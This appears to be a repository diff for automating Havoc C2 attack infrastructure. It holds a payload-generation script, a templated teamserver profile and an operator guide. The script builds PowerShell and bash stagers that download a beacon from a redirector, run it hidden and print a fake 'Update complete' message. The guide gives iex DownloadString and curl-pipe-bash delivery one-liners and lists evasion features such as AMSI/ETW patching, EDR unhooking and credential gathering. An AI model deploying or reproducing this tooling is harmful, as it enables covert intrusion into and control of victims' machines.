\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
try {
\$wc.DownloadFile(\$url, \$outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath \$outpath
} catch {
# Fail silently
}
EOF
# Bash stager
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
#!/bin/bash
# Linux download and execute Havoc beacon
# Download binary to /tmp with random name
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
chmod +x \$TMPFILE
# Execute in background
\$TMPFILE &
echo "Update complete."
EOF
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
echo "[+] Stagers generated successfully"
}
# Create manifest file
create_manifest() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"generated_date": "$(date)"
}
EOF
echo "[+] Manifest created successfully"
}
# Create reference file
create_reference() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
Payloads Generated ($(date)):
- Windows EXE: $win_output
- Windows DLL: $dll_output
- Linux Binary: $linux_output
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
Payload deployment:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
EOF
echo "[+] Reference file created successfully"
}
# Main execution flow
echo "[+] Starting Havoc C2 payload generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Create stagers directory
mkdir -p $PAYLOADS_DIR/stagers
# Generate profiles
generate_profiles
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest
create_manifest "$payload_info"
# Create reference
create_reference "$payload_info"
echo "[+] Havoc payload generation complete!"
+79
View File
@@ -0,0 +1,79 @@
Teamserver {
Host = "0.0.0.0"
Port = {{ havoc_teamserver_port | default(40056) }}
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "{{ havoc_admin_user | default('admin') }}" {
Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
}
{% if havoc_operators is defined %}
{% for operator in havoc_operators %}
user "{{ operator.name }}" {
Password = "{{ operator.password }}"
}
{% endfor %}
{% endif %}
}
Listeners {
Http {
Name = "https"
Hosts = [
"{{ redirector_subdomain }}.{{ domain }}"
]
HostBind = "0.0.0.0"
HostRotation = "round-robin"
PortBind = {{ havoc_https_port | default(9443) }}
PortConn = {{ havoc_https_port | default(9443) }}
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
Headers = [
"Accept: */*",
"Accept-Language: en-US,en;q=0.9"
]
Uris = [
"/api/v2",
"/content",
"/static/css",
"/wp-content/plugins"
]
Response {
Headers = [
"Content-Type: application/json",
"Cache-Control: no-store, private",
"X-Content-Type-Options: nosniff"
]
}
Secure = true
Cert {
Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
}
}
}
Demon {
Sleep = {{ havoc_sleep | default(5) }}
Jitter = {{ havoc_jitter | default(30) }}
Injection {
{% if havoc_spawn64 is defined %}
Spawn64 = "{{ havoc_spawn64 }}"
{% else %}
Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
{% endif %}
{% if havoc_spawn32 is defined %}
Spawn32 = "{{ havoc_spawn32 }}"
{% else %}
Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
{% endif %}
}
}
+112
View File
@@ -0,0 +1,112 @@
HAVOC C2 OPERATIONS GUIDE
==========================
This guide provides information on using the Havoc C2 framework (dev branch)
deployed on your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
HTTP Listener Port: {{ havoc_http_port | default(8080) }}
HTTPS Listener Port: {{ havoc_https_port | default(443) }}
Admin User: {{ havoc_admin_user | default('admin') }}
Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
CONNECTING TO THE TEAMSERVER
---------------------------
From your local machine:
1. Make sure Havoc client (dev branch) is installed:
$ git clone -b dev https://github.com/HavocFramework/Havoc.git
$ cd Havoc/Client
$ mkdir build && cd build
$ cmake -GNinja ..
$ ninja
2. Connect to the Teamserver via GUI:
- Host: {{ c2_ip }}
- Port: {{ havoc_teamserver_port | default(40056) }}
- User: {{ havoc_admin_user | default('admin') }}
- Password: See /root/Tools/Havoc/data/profiles/default.yaotl
3. CLI Connection:
$ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
LISTENERS
--------
Two default listeners are configured:
- HTTP on port {{ havoc_http_port | default(8080) }}
- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
To view and manage listeners: Attack → Listeners in the Havoc client.
GENERATING PAYLOADS
-----------------
Pre-generated payloads are available in /root/Tools/Havoc/payloads/
To generate new payloads:
1. Connect to the Teamserver
2. Navigate to Attack → Payload
3. Select the listener (HTTPS recommended)
4. Choose architecture, format, and evasion options
5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
PAYLOAD DELIVERY
--------------
PowerShell one-liner:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
Linux one-liner:
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
OPERATIONAL SECURITY
------------------
- All connections are routed through the redirector
- Payload customization includes:
* Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
* EDR unhooking techniques
* AMSI/ETW patching
* Indirect syscalls
* Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
ADVANCED FEATURES (DEV BRANCH)
----------------------------
- Enhanced memory scanner evasion
- PPID spoofing capabilities
- Reflective DLL loading improvements
- EDR hook detection and avoidance
- Process token manipulation
- Registry persistence options
POST-EXPLOITATION
---------------
For post-exploitation, Havoc offers:
1. BOF (Beacon Object Files) support
2. Integrated command & control modules
3. File system operations
4. Process injection & manipulation
5. Credential gathering capabilities
SERVER MANAGEMENT
---------------
- Havoc Teamserver service: systemctl status havoc
- Service configuration: /etc/systemd/system/havoc.service
- Configuration profiles: /root/Tools/Havoc/data/profiles/
TROUBLESHOOTING
--------------
1. Agent connection issues:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check nginx configuration on the redirector
- Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
2. Teamserver issues:
- Check service: systemctl status havoc
- View logs: journalctl -u havoc
- Restart if needed: systemctl restart havoc
3. Use Havoc client CLI debugging:
./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug

Some files were not shown because too many files have changed in this diff Show More